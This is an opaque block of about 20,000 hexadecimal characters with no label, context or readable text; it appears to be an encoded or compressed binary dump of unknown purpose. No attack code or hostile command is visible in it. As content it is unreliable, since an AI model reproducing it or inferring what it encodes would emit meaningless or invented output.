f9a9d95cf99b5bf85745a61fa9fba397a0afff01fce7097a48e01bcafb337fbc2dfc2d783eeabb115f3e337e7fc17f45fbdb47e8590de95f1cf0910bec1f54df06f3902ef8011fde5f66e6fd578c3f467c5d6efb4deddf853f76cff935f067ec6fd386f9e3f55ffc7c5ef7d327e2cbc12f263ea4977affcdcdd9e64b4ff04f95f882fecff81d13ef9f2af97648fc67e8ffb8bfedcdc92fd6efa7efcfc533e2cb77860ff1fe0fdc6f22ffcd833f89f75f41fe83ff11fd374d9fe1e2f33bfc5734bed4c37c708bfd746ef325f8a7aa7e88eea72b73f377a2ff98eec7808ff4f34fe8971f804fc6fe76417f20f3ff437d7d5bf2fa675decc7ce5ebf47ea97a4309fa07f80d7a785be86edc736d41ffcd079b9d667b599f933d70dbfa4df2fc77e8cfaa6e6cf45fcd9dbdcea33e3afe4de5fb45dd0bf067e7e1efbfd5f419f16ef8ff333af1f82ef97637e56c37ca90c7e2af4c18cff9091df31f3f9610b7d53f2c32dffcd385f527c9dd59fd40ff984fe6703f83a990f121ff93b2aeab7529f88fcbf96e9a3c09f0bfac92f47d3b7f1fa3df467567ffb05fdb56f38ff5c077d53c567597f3bb0fd839f4f14f87119f0d723e297baea9f0afd2cdbdf9abf45cb9f4ff62be4af083e24c3fcb312f23bf82bdff8c5e0df1e305f1a78fc6733e05f381f1c993fbaf60ff4b738e17e2a7e09f897901f0afae523f8df5e338f4f9ee17e5a7dddd5fe0ff745f121ddb1ea0f2e7dffa0f527fd619bf44fcda1df8af3d5319fb7fa2ce043949f0afec386fad7ca3f92fc5ed017fe407d2dfa8a3be06ddaa3a04f84fb59f3fee88a5f42fd390df981fac9639dcf1b3fee84f32d7d7f6b7e8a365f42ff17835f2cf5cb55f79bf7d49faf44de1f7de7f14b8fd8ff2541df66077c6b99fc62cbefc017ec0bfc0eeb1f6e38bffef4fe32822fe0fd2ce84b1d027f13f8c8b9ef1fe0cf057de193f93756bc5e17e6d7aa2f057c0ff589a0af6ffe169cefd23f5cee67eefbdbd8f38f0c3f48fe7471bf89fe76067db705f97fa6cf8efe212de82b9afebcf153c9cfe9003f98024f04ffb8fe4bd06728d97ecce6834be307405f38f6e793fdc353c09fdd809f53c77e6c077e4027ec6f753eeffd492ad0678fb07f1f7bff5bc527539f01f9cff0d79fd0ff8cd13fdc62ff1e637ffbb3e08f80fdbbe4a331f0c933af2f6cfe7fec1fb0df5caf02bf780b7f923ee6bbf43fa2fef51bf47b3a9e5f55e04fc7c64fd5f829f567a966fae5b318f1a5427e63e81f505fdf909f7aa63f09e66709fdb5033e64d835ff54e093559f6f037e0ef947da3f78fd9716fdb9e87ff4a9fb07fd7e9bb3e1079f0cbf4b7d37f0373be057e5a85fc8ef68a5c60f877f1ce227f80f2fd47b1ac29f0bfa05780fdff43fe16f21fa0c15e09395ff07fd90e9daf493e1ffa7fc2aeaef6ecd9fa469f879f21ba9aff1ccf9e750f79bd0c754fc440ff3ddf4bb7fdccecfe7e1bfa9fded41fd81cc5f94fb07e89fe97c17fa28861fe47c89fce20fe8b75651bf503f92fa2fc24f35ff00ccaf059f25fc3fec534d9ffd84f842fdd606ce17217e3e9b7e08ee27fdb5afe4dfa2feac401fa5d0ff89ff43eae7d781ff27dfaf12f663763f892ff0fe0fec8fe03fd634ff46c697631af8e1d86f2abedcf7eff49701fe4cf7eff06736fe0af12f2df567d6fd512b317d37efff8efdd8b498ff0c3f3f06bfb8977afc27e72f3be4bf04fb31e03f2dbe1c309f80fe92f2039e83be770dfeda1e7fadf333f06fcd7f8cfc77cccfb43e7bc97dfd790afba3daccfc299bd0175e9bbe06f839b5b3ed57b89ff6fa91c067edb85ff1f8acd8f3a7cdbf634efdf9abeea7597f72bf22ef2ff8af20bffbf797067e3ffb8769115f67fe4007ecffa87f3602bfe38efe0f11f5850d5fa0fd2ddf7b37e883bd9affa6f9bfd7a83f9f7b7dfd5ed09762fedb61bf49fc6e23f83b0df0fd32f887b7a15fb0c6fb3b407f97f1b3a04f5bd7fe48f97f5bf0e346c8efe4077cf7b7307f4add4ffbfa93f84fe2af3fbdfe12efe73df1e5e3c8f38bbbf7567f923f36347ff4add5d7b7d0af6b067e00f55fde713f63f117b5faccfa3ffa5b5cfade1fbd0bff1cf2ffe81fcefd4a0a7dd3edd6fbaf5483bf21f1e531f67fd4ffacd1ff1dfccdf45ac0477afdba8ef1c7d45fb4a3fcb14de4f98daadff38ef919e30be79f0ff4670ef7d3e3e7abe4af5ca8cfd7df9abf7d33e407cee767de5f86fed3e6df81fdadeec762ea6b987f0ef8c5f4af327c1df8efa1fe4c23c3f7787f04ecdfa95faef897e2fccce683c67f08fc54e317c37fc5fa5bd667015fbef7fad70fde3f5cf3c32cf40fd0079b9bfe44b3a85f607a3315efaffdcd1f6886fc706ff3a5e0ff77e7f747057c01e6133abfa67faae947b6dcfda43e6ddbe66715afff69fad05becc7fcfe56eb6bf21f6e823eca32c44fe3f7435faa4a7f74eb378dbfb25ef9fd0af808c67f577e23fcb9981f4c9f21e86b74c2fe21e82f213f18ff6146fcd98de7e7707e26f8f9ccf81d5fe0a70ecc3f95fac96ded37f5fd1d50bf5ca0ff49feca73e0871bbe00f7f34a7d3ee307507fc2ebbf5c3f8afa1acfa85fc47fac83fe7684f7a7feb7980ff6808ffcf0f817c55fdf968c3ff616fabfb3c7d76d023fae8cef477f51f2c35ba8afefecefa9f145ee0bfd8b31ff1cd0ffef8efded0cf8ac04fcbf0dea33ce5feef1fd1a5e7fe927f5cb5791f1e3e03f067f6de0071b5e9f56f71dd00fe9d3ff88fa3daa0f8dfd26f8efa9f993047f2ef2c3c1bf95fd9fe83390bfb905bf9f7a6b07e03f0bf872f81fa93e51dfcf5fdaa66f0afc52d0d7ff02feb38bfaa5e0ff97411f7a8afd43a7c0af0af88233e30bf175e007fc46fd59057ea202fd09ea3d7d30ff057cdd2df871bda0af3f0dfb77f28bc7dcaf8ca88764fc77ec1f34ff11df3306fe45e227e7132dd413ddd2d8f6e1c7b9d5d7f0b7df9a7f38fb77ea7b9fccffd6fb77d0bfea0dfcaa1de69fb79e3f66f856e243569eff4efd17c187fc60fe8bbcffd83cf0ab587f529fe1e2f12fd2ff29bf83fc4de86bd0ff88fea2ad11e7d7989fd1df29f86bd39f24f4b7daff0d307f017f1afafaec1fb07fc8b8dfe4fc13f3a56de08753ff65fc8dffd0a2fe75d81f35143f9f917f5402ff6186fe9dfa366dc31780bfb9f5f889afa2bfb6c7efd6a0cf877981e00793fc52c0bf487ff4017cf22df44312c367297ef733d49ff392f7471f787de1ea6fafdf43fc6e1cf01353ef2f7a55ff69ed1f32f037b75e5f51f847d07f317dfd25fd99cfde7f45be5fd3fbc31a7ffa8bfe0f868fdc06bdc34d3bcce70bfd2df2dfdcf435b8bfc5fca5dc37fe91e19772af4f7b517f20d5c7a43ec31deb41e8ebc37fd3eb1770be7b09faece599e10731df057fdaeb8718ffc8fca7e17ff480fdfb12f848ee1fa0afa1fe16bdb01fa3be14faf705efe70dfca7a95f10833fb638aafee01f3f3f839fa2d7f716fc12f99b2d8f2f00fe73cdf3c13fdccf5f2ec09773ffe0f105d447813e2df89bf6fd96bebeaeb13e6bf8fd11f8015a5f0f75fea2f8c899f7e74ac01fcb02be35e8b3eb7cd7ce47fdd64141bf55ee6723f84fb7b09fbe18feacc83f7af1fa44c1df10fed38adfad7afd72e8b70ecea67f8dfd7435f8dfdaf7dbfbf999e90f0e89bf06bfa304fe51019fc5fea1eaf5f9247ef27e128f59c2fe08f901fb95dcd79faa4fa4f317d9df5a7c297fd7efc17ef384f912fd03c8ffdb82ffcefe610ffd3afae7cc38dfc5fe8ffc4df5e70af9769d1aff2827ff0ffe718bb849bcbed62fd44759787f19d4d75f369fe8a23e4b805fa27e8fe0eb86e01f8dfcfe96fb4dc3f754b99f06fe85fe6331f8c52be3f763ff4e7c4f13fc0ed3d7a07e0ff00582afb3fed6ef57f47e02ff320ff56761be14f2df82f864f3f735fe91edc7389f68633e715fe08f61fe3207fe7305ff9539f7efc7a23e98f003c02f3e511f93f333395ff343f1915de8176cb19f567d53f08f765edfed0ffdd1d7c05f7f809f53f6fa600bce07c93faa02bfd4e6fc05fc54ef9f037fd1c8ef3715bf0b7c4f8ff833afff32273f87fa0c27ef3ff666fea2b89fec8f12ea0b077dc5a6e997439f21f2f113f5a7f9af287f13fa9865e8eb07fdd6bae9bfb44edc775cb07fe0feef05fc953fc487405fea3af3e76b047c08ff9ed49fe77c2983dfcb3cf057bc3e91f60fd477237f45ee670df333c547c21f81f733057ea20a7de1a9dfaf98ffedc2f7eff2fd169cbf001f39357f5f5fbf901ffe1cf4cba9bf3bf0fe24b69f36fe4ad7f21ffcf1cc7f65abf92fe0e7f1f794f960c5ebf34d83bed400f3cf0bce27feefa63f0ffdb392e10b145fde81be621bfc4dfadb5f943fb6337fbc47f447d4e79ba1be4e703f97f04fe5f72bd4d709e69f4de407d50f41fca4bfc522e8bb911ff0017c6bc9f8a93a1f8ca07fb6657fcbfc5e3b9bbfe8d0f0de7c7f889fe48f8dcd5f6d63fa133de8bb9dc06f047ed0f431ffb40c3f61fa28f437a4ffdfd6ebbfc8fe21869e3fe7d757ce5fe8efcbfd5f0e7fbcb5ff7ee437bed25f7ba1f5f5f326e8638abe94e9d39abe86e91d1e51efdea1bfcdf1fe1e837eeb1efa21559b4f687c213f670efcc461ebe7d79c473e9b3f82d7e7ebfaf8a9fac263af6fba5d7bfef4c1e36997e0e7b03f52fddd703f7dfda2f3cf4faf5f7ef9aeaf58f0df843e11f8a98a9f1806fce0a7f2c3959f93713e8ffd43ecf12136ff1cd07f8cf5d948f1597be2cbbdbfa1ec575a01dfd3f3fc38cc2774fe89fa5afba317ea7bdb7e4ce7bb9e7f0b7c08fc2da4bede43bfae03fcc412f7a54c7e2aef27fdd11f31df5d7b7f0bfa1fbdc0df09fc2ad4d743ec376763bc3ff3df34bf17f0d195df9100df5a0ffc87dedaefa7e93fbd877f0ee3e707eaeb3bf47fbc9f4dc31768fd427cc865e3f167c487ac4c2f2136ff00fa8b3ec2ff2109fe4eef882f0bfa9384fdf46fcf6fbc557d0dadafd11f69feab25a63fe8fdabac3e33fccb92fbe94164f1e5a5ece783cfe6e7e6f16709fc8fb8df3ca47eff407f43e407e477f30f30fc84f157a03fd8b4fa13efcffc6fe1ff6efe0fa85fe8bfc2efb7547f4aed8f3ea1df731ff80ff07f18529f61aaf58bf94febfdc47e93f3a59de6779d2f015f4e7c81e9bf283e19fe63d09f48a93f48fd1edd1fe1fbd5e16f3ff6fa674fc60f00bfaa44fea6f99d414f2ef8070c801fbc28fec5f337a18f52c3fc9afc69c5cf53bf07fd5fbf90ff4c9f48f1bb17f6b7987f929f53477e1f53bf2ef7fe7f17e8133d19bf11fc3fe887dc363c3eb2c07f38787d5aeea7a9cf60f55945f947dffa23575f431fec4c7eff03eaebaadfafb483bfcc10e7cb0c5fa0f17315f4973eb03f2a617e36863e511bfc9529f9fd9c67011f92787d37d39f2f737f14f4d907f0af4aa81fd283ffb4f6ef9a8f22f8374a7c398eadbe367f58e0e74d7f02fe16565fab3f17e6d7365f823e1ff5bd8f9e5f6cf88953dff4cbc15f29e87f6afc3cf8fd3bfced357e3e817ffb62fabbf0b708fea2497e317ceb3af057cc3f0efddfd39be1970e9c0f82bf928c185fe85f45fc04e69f057db00cfd91eec7c0bfadd2df10fc54f2fb99dfa9cf50f05bd2fa0cfdfb16f559cdf70f83507f5642ff90df1bfe85fe71eda0cfde41fc4c800f51ff00f4b737e04fcfb05fd1f935f9c538df39dc4fce5fb0ff337dbe61d84f1bfe05f333e3a702ffb9c3febd15f8a99c2f0d03feba4f3c83d7377d263f670a7edc252ffa23343c7fe54cbfac4d917f3b53ffb82bf14bea1fc0f9e085feccb9f73b7be8987f23f77f2df0538bfa2fd0bf26ff01fa52763f6d7f7bc07cd0eb17687c49e0efd4f5f8bad4f4a173c3b7d65ac80f9cbff07c31fcf1f8fe4e9ebfd2077ec9fcb9de5a457dda1878ef35f05927eedf7f836f78f6fb15f537ac183f47faf7d9b7fe6103feedcce30735fff5d1ff411fc5bedf81f317d49f7bf0fbbb36cfa23e0af87175afef3d08fee16be05fd83f107fdd82ffdfa2e02fe3f5cf4c1f5af1215fa6dfc3fd511bfebe8fd8dfded03ff52f8fcffa05fe18fc113c7e90fa6765fae3193f55e7836bf01bbd9e95ce3f3bc1ff7dacfc0ee54f8fc97ff0fb31eb8fe86f7f263fa090df399f689b3f25f569676ff40722fe4cdf1ff43588072bfacb2cb1fffbaa825f9563fe3203ff0ffc62adaf23eab313df03fdb3ade793a0bf557e63617efd9bfc1c8f0f517e55f0175da33feaa33f2a837f447c56f00f507d7dec8f66f44fa5bed4d4fb03c9f912e2076d1ec9fd2df435a01f9952ff8cfe9455fa33e3fb513f127e8a7a3fd789c74f983fb3f67f77e41f3df0fb617f3b7aefd18fc8f0e59f89d79f873ed896fc1cce2718afefccffc1ef8fb8bf55fd82c2fc45f1f36df81b927fbb247f3ae87f7afd1eec73888f2c617fc4fded66aef8eb85f77fa0fe7c0afcf5bded8f50bff4f1dee57cdebf4aebb303fc37ef30dfa55f641cfc4c7fc31f6184f919e7592fe0871fb99fe6fe1df153f4071be6bf49ff708f5f527c16fc8be9c7507d317c1dfd532d3f14f5c1143fe1cfa7f7f32ef3efcff6b7c0b70a7ef729f0df7bf48fcba8f7a4e703ff5ddf5f0c7fed91ed1fb4bf5d07ffe929f5f9c0ff6be37e36a0af11f81d3aff3cc31f61fc4d5ff1a4f82cdbaf5c661e5fcefd7b0ffa985dd3d7d0f94b6be4fdf1882fef78ff62afff89fded10fbdb8ed7e3a47fd59cfce9789c981e7555eb4ff23b7ea87fa3e9b7aafe8bcd97cc8f08faa65df377fa027e89fc46f3b7b878fd89d7e08fde327d68e5bfd7a00f0d7d76dd4f3f7ec3ef4afebbf3fc15eaf7987f23f747fd6ffad7e477bc04fc7566fc23d34fae71ffbe0ef802f01fb4fe1c7b7d9416f90fc1df09fad0c67f27fe25833e8af987035f3709fabbf4f7cd812fef047ed56fe023475edfad4bff31d5d7a07fd536c4179d7fb6fe812f681bff81fc15e1f7d3dfa2467d5ae007a9ff1987fe01faec869fa0becd4cf13d8aafe3f73b79fe98f25355aff9c4f920f5072f19f569ddf70bfeb03741bf95f3c15cf55f4cbf6088fe2fc27c7e017c4112fc1fe06fa8fa1a27dd6f127f7d53c0bf20ff5d82be69b34cfd48e839a27f607fa4fa91a9e22317c4bf5412f3d726bfff715c35fe11fd73823f90eacfab7f80c6cfb7a0bfc4fd34f55194bf59d44fbec03f95f16546fef403faa30be2670c3ec973c017ac53f34717fe1ff5a15be0c77d59fda9fa2ff4f755fc04fcceb6c1ffb654985febfee199fc95b5e7f7135f9082bf79bff4fd3bf5cbc15fe9197f8cf89e04fc873eeaeb5b7c3faf9fccfa4ce767125f6e81bf267fe503f753f66385fd26fdc7e82f3a5c9b3e3bf901e6cfb5c5f77bd6fc60fbb1c07fc77c02f105faadd2ff7d61fe59c00f427f50f12f015fe0fd880e9cef2abe00fe01aaaf1ffc2d1ee8ef84f747fdeb0c78a95f1effa9f333f85d4bff1e6bffa0fa0cd4df9d79fe514a7f5ffae754fbdca786f9997e3f896705fde4d8f8fd9affd4bf18fddff81b7f93fbf77ec04fec39ff44ff1e713f6dfa28d02fdf831fa0f379db8fc97ce26ff663e8ffd8df46c04f0cc2fc7a44ff80c0ef7851bcb7f91b1abe7c86fa85f3b3c92df69bdffa3fe157511f85f5751a99be46f9dee73ffac73d797d4cab3f23e867519f7deafd426cff207f4fc3d701bf54e81fe80fcbfdadc54f5f7fda7e13fdadf9734d803f3be17e52dfb451d07f817ef219f8a580af33fccbcafbc342ff4cf14b03f3f7c57c09fce9cb89fa91d45f7afb277f2585ff34e72fc1ffb60a7e1cf4cb7fdbf9a615c34f8c02fe93fcb8027f45f1e5aacff04a7d7df8bf2f27419f6fb834ff8742ff407f27e6bf8edfc7993f33eb4fe85f17f0f3323f53fd5d3f9f50fc20f6ef739c6f1bf0e56be87f0e703fcb787fdadf625e3704bfeacefa5bc54fac804f4e037e90fb4de2931be88f9ec9bfc57c17f3029d2f75837fea4d64f879fa233c83df71e27eace5bf9fe07723ec573a13ee8f143f21fa2f33afaf28f341f8876b7e3f433f8b78b05bc44fe87b2bbf0afa67aa0f9646c61fdb04ff62cc93d51ffdddfb3fa05e327dfd7ceff963fb91f16fef0bf96f8af960bd888f94fa93fe1636bfaed27f45fb07f367267e37f8bf9b3f1ef12f866f357ed56fea870ce9ff0efd64cd7f03e57758fc643d4fff4deabb7d9d4c5f78bd09fcf0bdf70f27ff88fb95eff9c1fc1fc67ebe94703eb1de9afed92df7d3d8a76ee96f0f7f51cc0bd49f6b13eab34fe8a30c7c7dc6febd9f813fdd0afa7ce6afc6f90bfadb9de787bfd15f9bf3f94945f72b3d8fcfba54b97fb7fe41bf5f85f82cf057e86fff08bfc127f60f659d4f70fea9f817cccfe6e637eff5dd6e892fc7feef97f91fa1ff037f45ee4b0bf882073fdfd5fa7ae6fd615fbef94fabfe2ef2c3a5a00f8dfaec9016f5bdebc4b786fc9e623f5d473d31c9bc3e2df35fe2f901f9d9d72f9c4f4ca9ef16fcb912efbf7943fed1d9fbfbd2df22a2be5406fdf945e0c76dc2fd447e482dbf7bff54f2b5a3d0dfaee93f86fe3687ff4337e89b8eb93f027e62427fc3d0bf7f62ff407dcc82be14f1d7d83f943d5fcdde5fcde3bd75ff776ffadebf4d9f6fe9f79bd8f73f627f5498cf43ff33eca7cddfe9fbfc13f809fa5beca11fd2b3f7477f5ffd7ef2fea8cf97c0df29f2fc77f3ff63fc6c60ff60fcdb804fa6bee2dcf493753f7679f0fa9fdcff35037ea985f3797f3cf3ffdb707efd417f20fffd46417f9efed3c4875cfa87e037e1f13d2bd5972acffcfc85f379f97e43e31f3d17fda7e1bf62f83ad66717cc9712bfdfc4fe9dfa0cf047cf743e1fe667f0ef20be1cf9ef087da914fc8e39f03dd4ff7c3b805f5cf1fb9567decf30df557e95d7d79819bec7ef8f2eefe6ff6ef84fe407bd9f7df6b7e08753bffccdf37de5fdd1bf638dfcf7b7e7c7697f9b697d4dff70d9a77e793d7ff307a23eca0bf89be937fd09e03fa16f3366fcf4fc1cf67f7bf0371b411f7305fdcf52d0efa1ff11f50717815f35f3f817d12f28f8db537f7040fdeb6ffb955a62fa05d2ffc5f09f6ea07fc88d9fd331fe4a1bfea219ea9739fd99bb5ebf5cfd454d4fdceb67415f43cef7057d14ea7bcfa88f027fbc0af1bbe6df88fe6f81f8f9eeeb339d4f84f872043ea4eafdd514fff27d7f1bc31f08fa4b73f2fb837f31fd1bc16f54ff00ce43b6763f13e089e8bf427d5abc3fed6f319fa8623f6dfecc415f03fad7e08fd9f9ce81dfcff984cc97e8bf12a3ffdb9a7e39f60fef5e9fb6b0bfbdf7faf3c60f68183fcefa07999f519f087a103deab76ec83fa23f2cf13d15cd0f6bd39fc0f7bb37fca7ce077bc1bf6ae5f95536bfde63ffcef79740ffec82fa65cef94441bf1cf8099eaf0d7da267d38f043eeb37ea178d2fc80ff077fa417d06e81309be6e8efc4e7cc8e27bff40fc35f4899e4d9f5de28bf647d2bf535f8afe4729fd455bf07f08fe011dec379be4ff05fc12f947e48fa5c05f5bff9ef9fa33b3f920f55fc00f507f5feb6f0d5f407edc08fb3feabb6dfec14f053e59f1d715e2774dff8cfcf733f25f63e4f19fecffdec07f58021f427da221f09fd48f94f952d5f847dedf3ee8f3993e58f00f507c2bf88d39eee7c6e37be698cf837ffb0afeed20e82f05ff38efff4efe98f40f975941ffe514f4a5a0e70f7c39f19f8a2f50ff23e9fffadedf89f9fd0ff9c52decdfe9ff20f379ce97a8cf40feca9dd7f74e763eff79fd56cf8f233e19faecba1f03bfdff4890e55bf1fd3fa85fec5beff6b04fdc17945f7ef2ddccf43f0dfbc1a5eea9bbf9ae587adcd3f793f81cf52ffdb13f4978037c5fe01f3b321f0c98395d7a72df0dff1fdbad84f1f810fd1f912f09ff047b0fafa9dfe7141ff7a12fc11061ebf14217e3e537f22873e18eab3d9d5f0bbe6cf55067e17fd9fce077be057f5a9af11fca7037ed7f4af6f54dfcdf4f9585f2b7f9afa7cd03fabf9fac5f80f53f8530ec17fa8623ec1f90bf8c5fd4df0ffbb437da6fd3bea6b9e8ffea267d42f75c44fea7ba7e4af405f43f0bbd4c764ff90987eb2f747e07ca21ededf1fafef2df5b5cc5fcc4f8afaecb89f1bf367367c96e90f4ea19f7531feb4f9236cd663eafdda7cc2f00509de1ffd2913e29730df657e7f84fe20f93935e2e7793fd13f9cd9df26617fbb61fde9f99b8b82fe84e94bb5a8df23f8f2bf82bf53a83f053fa8feb7889fd3b5e9f3c9fea18dfa730bfdc8b9e78f697f54863fc282fe6af09fa6ff5fd7ea17e00b80afe3fb2b07fec3defb93c8fda4bf13fd118cbf5251ff54f4ef57be3fe31727e0f7bfd87c09f341e87bd33fd5f03d3a7f31ff318d9f03cf9ff6fabb31f963e61f3746fc14fd56f67fe06f2a3f0ef833e1afc05fd4f059f4df14fec32bf03de27fcbfbb9a67e1df477054f9440ff9af1b31bdedfc9eb4ba9be30e64b7be86bf0fb517f3eb1f9e7abf9cbcc82bf0cfd9d886fbd047db0f3cce6ad4de05b97a68f02bd4af8fb86fd83e96795713f451f2547fdd90bfc2abef78ee947fed39feba665fac215e8cfcff8fdbee983293f95fa9fe0070c96c87f3df0a7d91fcda19fbc417c317fbcaed7ebaa83ff0e7d7dcdefaadfb30cf97d4f7d76e1172f0afd1ff2df18e78b74ff87fd6d62fe6a97c07f486e833e1ff2df3bf243c9ebb3d7c86fbcc7fd647f5b494d7f70b8847fb8e9f7005f9762fef912fca7e9ef9499fe84d78f0cfeb7a64f04fd4fd1d7f7faa6f40f803e5fdde3af7bd0bf8eb1df34fd972ce0cf023f0efdade1cfa86f83fdb4e63ff0c3cdff2fc6fecfeb91e97c90fb31eca78bfc15dbbf77e19ff34efc12fc498cbf02fd827becdf2ffc7ec0d7d19f59f9c5c02f993e66d0573cd0df3ef057161e9f3c417ea03f33f5a5cc7f65e0e7bbaa8ff92d7ec641df7b087f12facbccb15ff1f36be407e00ba8cf6efa3613cc5f7aa17e09f8a5d6c8cf97569e3fc6fe48cef708fff006ebb335e267d9f3c7809f8ff9de89ff94f935f5a5a84f54a85fd8ff95e01f40fde43cf8572dad7fd7fba9f90ffbbfe03fe6f1839edf417db732fd2db8df9ca87f23f23bf87f415f51fa3ff86f9ee9af46fce00ef3a552f0176d803fddfde61faef309d307d3fde61ef3a555f01f337d53e4f745985f83df6ff817f2734e2fe63ff64a7fca04f879fa17af51bfec517feebd3facd59fd09732fd79cd0f59f0bb06be07fb3ff97e31f243d7f415d55fdbf4cb89dff5fc00adaff7a9d7af1b80dfc8fac5e6675dafa793617f3bf6f921b5fc80fd7b0c7c9df9a7e27ec27f45f5314bdc3fc01f96fbbf8ad62fa63f31867ee453f0f765fd42ff1cf127397a7f0bc3b70ea13f61fe1dfefb1d39dfc5fe5df0d711fc615b819f93303fd8fe7dcdf992f50f9c0f727e4dfe6d8cfdfb33e26739f7fa670dcc97806fc5fc13fb155f7f6ee90f7b8e91ffe8efbb33fd4fc52b0afe85f3c8a3e787633f0dfebbce5f4e7e1ed909f8178d2ff01fab533f52ced7017e82f333f6b75bf2532bdebfb10efc7c613e81fe48f947d583f16fbb861ff4f3c12ae6d77bfa5be07cadc03f3a613fc6fd43c3f86a57db1fcd802f28057eb8cd5fbc3f2cfdb98c5f35057e89fe6a19ced706bf03fe6a8aef99e87c42f7473cdf91fa6eb89f877ff8e3417f3ee8b3df445e7f10fe78ca0f0ffac26bcf7f28e8dbb46c7e4dfe83cbeff03f2a437ff719fe471fc67ff7fd11f5e7897f29f857d11f08f3e45e413fe484fdd11df091f4ef80ffa6e6f76162fc0ee43f8f0f59883e1ff4e75bdebf98fe7f057d22ec3703ffcffaf745813f16f4af23e0b396a66ff365fa83f75ebf80fa9ff0ef80bf3de6c9dc4f539f684b7de8679e0ffbe931e6d7c097576dbfc2f95204fea69d2fb7f852467e071e45e7d7a85fb43eeb25deef7ae3f1bbc027cf5efcf753fd17e31fe97cf007fdc3efbdff2deb4feabb415f8af113feb7efec8f30bf367c0fe6d74befdf48febbf18f86ba9f56fc67ed5ce0dffe24ff81f3ebbaf94f6fad7f6f807f9b2456bf5c3629f32df55f747f7be3f9b7c25f217f5afded0bfe013a1fa4ff74d2b07e45f14bd09fb0fdb4f893487e307c81e10755bfbceafd3791dfa17f86f96ed7f45174ff00ff69d51fbcf9a65f30c6f93a81ff00ff23dd37d68afe0f33fa23904f52f2f341ddaf7ccb7fd41f247e5ef5af4dbf1cf9fd2ff86b17f40bacdef5fade1fc0d3d2dfb789fdbbf23b823fc9cceb9f797d76e4f796fa3fd0dff099fed3a69f15f0c955ea13c19f52e713d0df0dfa60f392e90f9abe1bfd4906787f65e0931f0bfab41e3f48ffcd39f80f1bd6d72f2fe6ffe0f1d0b65fb1fa2c0ffea9c4f73ca27e59515f31e883197e1efdfb90fb879ed767a07e7262fe3257d387be03be2009f3eb2ef01a67efff60fae5c0870ce95fd5a27f9cf9bf7b7fdfadf7df34ff69fa571d7d7cc9c8ef20bfb8eaf54386c63f327f7bd5bfd6fdbbeeab86763f517f62bfc9f9e796fc77d3afc37ecce3cb156f3333fde42fea4ba97e6beafd11da787f55c3f720ffd5749f9a987f00f435267dcf9f663eaa983ea6e20bd65edf86fc00fa57c15f14f89e9aee577cff67f81edd3f50bff5ddfc61357e7627e4c7a17fd87b7d1bf203a89f457f279e4feacf4a6afce2befbbd2ff2ff7ea27e01fedafce3b89f9ed09fcbf8556f63af6f6afc3ffac7119facfb157cbfccf31f345ed7bd7ee463f0b75f203f7c809f13439f36bafafee841e64b5edf3b06bf236b91dff1457c9df21ba11f19997e01fd61c11f1be17ece3d7fc5f0211f2f1e5f50f6fac9d05734fd72e20b2ef0e7225ef19e787de8b36bff007d06e3a7723e9f78fd973cf817a33e337f2e99bfec6c7fa4f58be88331bfef53ebdfb15f51bda704f38907d30f51fc04e74b73ccafb3c0df74fdadfacbf4153f28f9a10e7dda17eec7863eff81af0dbe93d70fd1fa1afbf731f6d37de34f1ffcfc05fdfb22e84f509fef37f585f1fee6989f2dde647fabf825f857195e58f1c9e077501fb3e5fbf7823f3af847c0b7f6ad7e29ecff1ae06f8e8dbfe9f9b7adc09f0ef145fdd5105fa6c1bfc3f09fde5f94faadc667a67fea03f4b3c2fe41fb3fe0afcf5e5fc3f4f5b97faf077da9d6daf49eaede0f735dd0077b09fe55d81fa9fea7e25f6c7f9b733e51f5fe08057fd1b7b9f977d05fc6f8efd47f59405ff11dfd7b82f94433ec57dec67ebf92f9f9e70bf06767cee77f435fb8effb07fa07fc08f889bee19780ff043f6e1afaa393f937025f8efafad9f80f4bf347b820bf3f85f9c46fcccf46c0cfefdf83bf13dedf10f856fa2557827e2bf91dd497a23fc92df427d6dff0e5f41795f3513fab89fafa9efaadc047522f88fee19bb09fae327ec6e0df56a8cf87ef47fdba1afa3ff2a73bd8ff3d17e62fa6bf0b7d37f8293e057f74faffddfafded9cfabbc7b1f98fb1be367ef8e0027e7162fa60e6df31f6fafadeefb363fa2f3cdf0bf2c382fb77e883513fd9f337e1fff799daf972e80b27d44ba07ef217f5f9fc7c690d7e07f8c57c0fde9f84fe55f0b7b7fd1ff92b861fdc99bf1af45f027fe5bb3e2dfd1f86deff08fab43a3f03bf4af175c13f1cf5a7e25beb65de4fe05fe8ff1081bff2eaf91ddcdf9afe12ebebdcf6473a1ffc04fef384f7d7a6bfb6c6cfa2ffed9dc54fd397aab13edb7ee357293fa7a05f80fd34e62f5fd88f49fc443da8fdca87ea8329be1cfaec63ef6fa1f8a596c7ef4a7ea73f977cbfe5d8f40055dff49bff4ac7f8efc0cf737ff48efd03f5eb1a41bf6e88fae5b082bfc5377d61f873697f9ba2bede7b7dbe3bc347a23ea3bffd1efe55e46fde813f96993e9fe6bf76d0affb0cf8029d87809f6a7861ee8f8afeefcfdff5d94d9f08f9af0d7f19eea7d3808fbcc3fb4bb0dfccc2fda4bfc53df451887f6958fc7c353fb78e9f5f537f10fce2d8f67f3bd42fe65780f9ee8afee1d81f093e84fe7f03f8c31abfeaecf159bbe0cfacf504fb5bf81ba6a9f97937037ef7a8fb4de5e7103f71d1f3c9dff32fe027f4fba17ea9805f5c37fd17ea2f7df3c713ff77f4b71bf6b75dc50f52ffccf419e8bfb956fca0cd5f24be047cf2caf353353f707e46fdc847e8330ce99f83fd511bfaec8dabc797039fa5fd26fd8f80d797fafa2ff8334bbdb442fd9960ff179bfeee2bf91d1aaf83bfe87c5ce4c7093fe723f88b123fcffbd9f3f333bebfd4f40b72f265fc7e3af7fc2af8177b7f2ed4d7f2fea81f92c09f6b4cfdd6add787d6f3019f457ec067027c01f4cbe9bfc9f9d24ffffd347e0ea06f3afe363fc3fc5af14bcaffd37eac11f03d9f5e5f0afe0886bf36ffb82fe2e7bdbe94f13be8af8defa7f527f81ddeff0ff3eb81df1fdd0ebcffdfe24df9fdfc7eaa5f87fb29fc7ed3bff6f961c9fe2fc37ea5e1fd11acfeeceafe56f6472df03b9a613fb6f5f3dd9cfa3613e81798bf6f64e7a33f42c1bf382ee0e75d3cab917f8bfd6df0bf95faf3bd807fa17f31fc65d6de9f92fe9bf346617ee6f54388cfa27ec80bf4c1a80f2dfa2f4be34f1bff41f4cb97389fe96b0ca0ff02fda5bb25e64b6fc0cf67fdb00fcfa8e7df277e774ffc19e667f4b7877ec1d5f41599dfdb38df73811f9e827f84f944f96cfe24e68f4e7e31f3dfccfb8b66d4cfa23ecacceb43d7bdbe4d817f6bfa98bc9f8a1f847ef231b2fc477d37ea9